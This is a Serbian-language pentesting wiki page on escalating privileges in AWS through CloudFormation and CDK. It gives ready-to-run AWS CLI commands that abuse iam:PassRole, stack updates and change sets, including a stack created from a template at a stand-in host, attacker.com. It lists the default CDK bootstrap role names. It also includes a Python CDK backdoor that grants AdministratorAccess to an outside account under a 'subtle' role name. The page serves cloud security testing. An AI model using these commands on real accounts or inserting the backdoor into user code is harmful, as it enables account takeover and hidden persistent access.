# AWS - Cloudformation Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## cloudformation

Za više informacija o cloudformation, proverite:

{{#ref}}
../../aws-services/aws-cloudformation-and-codestar-enum.md
{{#endref}}

### `iam:PassRole`, `cloudformation:CreateStack`

Napadač sa ovim dozvolama **može eskalirati privilegije** kreiranjem **CloudFormation steka** sa prilagođenim šablonom, hostovanim na njihovom serveru, da **izvrši akcije pod dozvolama određenog rola:**
```bash
aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>
```
Na sledećoj stranici imate **primer eksploatacije** sa dodatnom dozvolom **`cloudformation:DescribeStacks`**:

{{#ref}}
iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
{{#endref}}

**Potencijalni uticaj:** Privesc na servisnu ulogu cloudformation-a koja je navedena.

### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`)

U ovom slučaju možete **zloupotrebiti postojeći cloudformation stack** da ga ažurirate i eskalirate privilegije kao u prethodnom scenariju:
```bash
aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1
```
Dozvola `cloudformation:SetStackPolicy` može se koristiti da **dajte sebi `UpdateStack` dozvolu** za stog i izvršite napad.

**Potencijalni uticaj:** Privesc na cloudformation servisnu ulogu koja je navedena.

### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`

Ako imate ovu dozvolu, ali **nemate `iam:PassRole`**, i dalje možete **ažurirati stogove** koji se koriste i zloupotrebiti **IAM uloge koje su već povezane**. Proverite prethodni odeljak za primer eksploatacije (samo nemojte navoditi nijednu ulogu u ažuriranju).

Dozvola `cloudformation:SetStackPolicy` može se koristiti da **dajte sebi `UpdateStack` dozvolu** za stog i izvršite napad.

**Potencijalni uticaj:** Privesc na cloudformation servisnu ulogu koja je već povezana.

### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)

Napadač sa dozvolama da **prođe ulogu i kreira & izvrši ChangeSet** može **kreirati/ažurirati novi cloudformation stog i zloupotrebiti cloudformation servisne uloge** baš kao sa CreateStack ili UpdateStack.

Sledeća eksploatacija je **varijacija**[ **CreateStack one**](#iam-passrole-cloudformation-createstack) koristeći **ChangeSet dozvole** za kreiranje stoga.
```bash
aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1
```
Dozvola `cloudformation:SetStackPolicy` može se koristiti za **dodeljivanje sebi `ChangeSet` dozvola** nad stakom i izvršavanje napada.

**Potencijalni uticaj:** Privesc na cloudformation servisne uloge.

### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)

Ovo je kao prethodna metoda bez prosleđivanja **IAM uloga**, tako da možete samo **zloupotrebiti već pridružene**, samo izmenite parametar:
```
--change-set-type UPDATE
```
**Potential Impact:** Privesc na cloudformation servisnu ulogu koja je već povezana.

### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`)

Napadač bi mogao zloupotrebiti ove dozvole da kreira/aktualizuje StackSets kako bi zloupotrebio proizvoljne cloudformation uloge.

**Potential Impact:** Privesc na cloudformation servisne uloge.

### `cloudformation:UpdateStackSet`

Napadač bi mogao zloupotrebiti ovu dozvolu bez passRole dozvole da ažurira StackSets kako bi zloupotrebio povezane cloudformation uloge.

**Potential Impact:** Privesc na povezane cloudformation uloge.

## AWS CDK

AWS cdk je alat za omogućavanje korisnicima da definišu svoju infrastrukturu kao kod u jezicima koje već poznaju, kao i lako ponovo koriste delove. CDK zatim konvertuje visoko-nivo kod (npr. python) u Cloudformation šablone (yaml ili json).

Da bi koristili CDK, administrativni korisnik prvo mora da bootstrapuje nalog, što kreira nekoliko IAM uloga, uključujući *exec role*, koja ima \*/\* dozvole. Ove uloge prate strukturu imenovanja `cdk-<qualifier>-<name>-<account-id>-<region>`. Bootstrapovanje mora biti urađeno jednom po regionu po nalogu.

Po defaultu, CDK korisnici nemaju pristup listi uloga potrebnih za korišćenje CDK, što znači da ćete ih morati odrediti ručno. Ako kompromitujete mašinu programera ili neki CI/CD čvor, ove uloge se mogu preuzeti da vam omoguće sposobnost da implementirate CFN šablone, koristeći `cfn-exec` ulogu da omogućite CFN da implementira bilo koje resurse, potpuno kompromitujući nalog.

### Određivanje imena uloga

Ako imate `cloudformation:DescribeStacks`, uloge su definisane u stack-u pod nazivom `CDKToolkit`, i možete izvući imena odatle.

Ako ste na mašini koja je korišćena za izgradnju i implementaciju CDK projekata, možete ih izvući iz `cdk.out/manafest.json` u korenskom direktorijumu projekata.

Takođe možete dobro pogoditi koja su. `qualifier` je string dodat uloge koji omogućava više instanci CDK bootstrap-a da budu implementirane odjednom, međutim, podrazumevana vrednost je hard-kodirana na `hnb659fds`.
```
# Defaults
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
cdk-hnb659fds-deploy-role-<account-id>-<region>
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
cdk-hnb659fds-lookup-role-<account-id>-<region>
```
### Dodavanje malicioznog koda u izvor projekta

Ako možete da pišete u izvor projekta, ali ne možete sami da ga implementirate (na primer, programer implementira kod putem CI/CD, a ne sa lokalne mašine), i dalje možete kompromitovati okruženje dodavanjem malicioznih resursa u stog. Sledeće dodaje IAM ulogu koja može biti preuzeta od strane naloga napadača u python CDK projektu.
```python
class CdkTestStack(Stack):
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
super().__init__(scope, construct_id, **kwargs)

# ----------
# Some existing code.....
# ----------

role = iam.Role(
self,
"cdk-backup-role", # Role name, make it something subtle
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
managed_policies=[
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
],
)
```
## Reference

- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml)

{{#include ../../../../banners/hacktricks-training.md}}
